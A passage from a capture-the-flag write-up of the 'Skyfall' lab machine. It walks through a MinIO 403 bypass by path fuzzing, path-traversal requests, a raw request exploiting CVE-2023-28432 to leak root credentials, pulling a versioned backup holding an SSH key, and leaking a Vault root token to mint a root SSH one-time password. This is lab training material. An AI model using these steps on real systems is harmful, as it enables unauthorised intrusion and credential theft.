ffuf ends up discovered a demo subdomain. Let add it into /etc/hosts file and access it.
GAINING FOOTHOLD
Enumerating on the website
No valuable points of exploitation were discovered using automation tools such as the Nikto vulnerability scanner. However, while searching for other directories, we come across skyfall.htb/assets and receive only a 403 code in response. Let's shift our focus to the other subdomain since we haven't had any luck breaking into it yet.
Well, there is no need to use any tools to get around authentication since we are presented with the default credentials. Let hop in and look around to see if you can find anything helpful.
Upon closer inspection, it appears that uploading a normal malicious payload does not give us any shell. We learn something about this system from the dashboard. It supposed to be a MinIO Object Storage System.
MinIO is a high-performance object store that works with S3. It is designed to handle massive workloads in databases, data lakes, and AI/ML. It is software-defined and runs on any cloud or on-premises infrastructure. Oh, and MinIO is also open-sourced!
Notice that we have 403 Forbidden on MINIO Metrics. Fear not, because there are two ways around this.
403 Bypass - Path Fuzzing
The 403 Forbidden response code signifies that although the client is authenticated, they do not possess the necessary permissions to view the resource that they have requested. When a server wishes to block a client from accessing a resource, it usually uses this response. This can happen when the resource is being purposefully hidden or restricted. There are many ways to bypass this:
HTTP Methods Fuzzing:sending the request again using a different method, such as POST, PUT, or PATCH
HTTP Headers Fuzzing:sending a request with an altered HTTP header to the intended server. The most often altered headers are X-Forwarded-For, Referer, and Authorization.
Path Fuzzing: the method we intended to use. Work by adding symbols, spaces, tabs,... to bypass the filter.
HTTP Request Smuggling: manipulated HTTP requests that take advantage of differences in how various parts of the HTTP request processing chain handle request data.
In this case, by adding a simple %0A (or %20 should be working) to the URL, we would get access into the metrics panel:
Examining the Internal Metrics, we discovered a fascinating subdomain:
Adding it into our hosts file and see what in there:
Bypass by LFI
So, we discovered right away that this kind of system is a cloud storage system. And metrics, right? Possibly requires a cloud-native monitoring platform on the back? If we look at the official documentation for MinIO, it should be noted that:
MinIO exports Prometheus compatible data by default as an authorized endpoint at /minio/v2/metrics/cluster
MinIO exports Prometheus compatible data by default which is bucket centric as an authorized endpoint at /minio/v2/metrics/bucket
Additionally, we can scrape per node metrics from MinIO in /minio/v2/metrics/node
Using the URL Fetch function, we can get LFI by modifying the request as followed:
GET /download_file?filename=../minio/v2/metrics/node
or based on the previous info:
GET /download_file?filename=../minio/v2/metrics/cluster
Leaking environment varibles through the use of CVE-2023-28432
Here is the modified request:
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: prd23-s3-backend.skyfall.htb:9000
Upgrade-Insecure-Requests: 1
Content-Length: 444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Proceed to create an alias for an S3-compatible service after installing the client.
mc alias set myminio http://prd23-s3-backend.skyfall.htb MINIO_ROOT_USER MINIO_ROOT_PASSWORD
Upon examining the content, versions, and archives for a while, I came across home_backup.tar.gz in the directory for askyy,which caught my attention. Use this command to download it:
mc cp --recursive myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz
Since that file contained nothing helpful, I looked up its prior occurrence:
mc cp --vid VERSION_ID myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz
After extracting the versions, get the file:
Within it is a file containing the SSH private key (You won't be using this to get your user flag anytime soon)
With the provided credential, we could get access by Vault SSH. For SSH authentication on a network, Vault can generate a one-time password (OTP) each time a client wishes to SSH into a remote host.
So, basically, Vault server receives an OTP request from an authenticated client. An OTP is sent by Vault and returned if the client is approved. The client connects to the intended target host via SSH authentication using this OTP.
Download that tool and set the environment varibles:
I didn't expect this system to be fairly straightforward.
Just the normal sudo -l and look at the output. Run vault-unseal as root and we could see that:
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[-] Master token found in config:
[>] Enable 'debug' mode for details
[+] Found Vault node: http://prd23-vau1t-internat.skyfatt.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seat status
[+] Vault sealed: false
The output states that the master token was found, but you need to start debug mode to view the details. So, the output option (-d) creates the debug.log but it's only readable by root. We can trick it to leak the token by create a debug.log file and change its permissions to askyy, then dictate the tool to output it into our file.
With that token, we can replicate the same way how we gain initial access to the machine.
Set the environment varibles:
export VAULT_TOKEN="hvs.I0ewVsma*************mmG"
Valid that token then obtain a new Vault token for the OTP:
./vault login
Token (will be hidden):
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.I0ewVsma*************mmG
token_accessor bXBeXR3r92WGQ8XgEDx6pIFu
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.10.11.254", "username":"root"}' \
$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role
{"request_id":"d1f4a493-ecea-cfc7-b7f3-0b4142a420ab","lease_id":"ssh/creds/admin_otp_key_role/I5erjWFKIzT5NBDFFov2bXlX","renewable":false,"lease_duration":2764800,"data":{"ip":"10.10.11.254","key":"e65b2178-7e32-777b-84de-fa9b75b80892","key_type":"otp","port":22,"username":"root"},"wrap_info":null,"warnings":null,"auth":null}
And there you go! Root access, hooray!!!!!!!!!!!!!
Verdict
Undoubtedly, a challenging machine to take control of. However, I'm glad that I don't have to chain together several exploits to obtain a shell alone. Granted, an insane machine ought to be so difficult that you would need to create a unique payload or write a script to take advantage of a configuration error in order to obtain root access, but this need not always be the case.
In my opinion, the challenge with this machine lies solely in the amount of time you have to dedicate to studying every little detail and experimenting with ideas you would never have considered.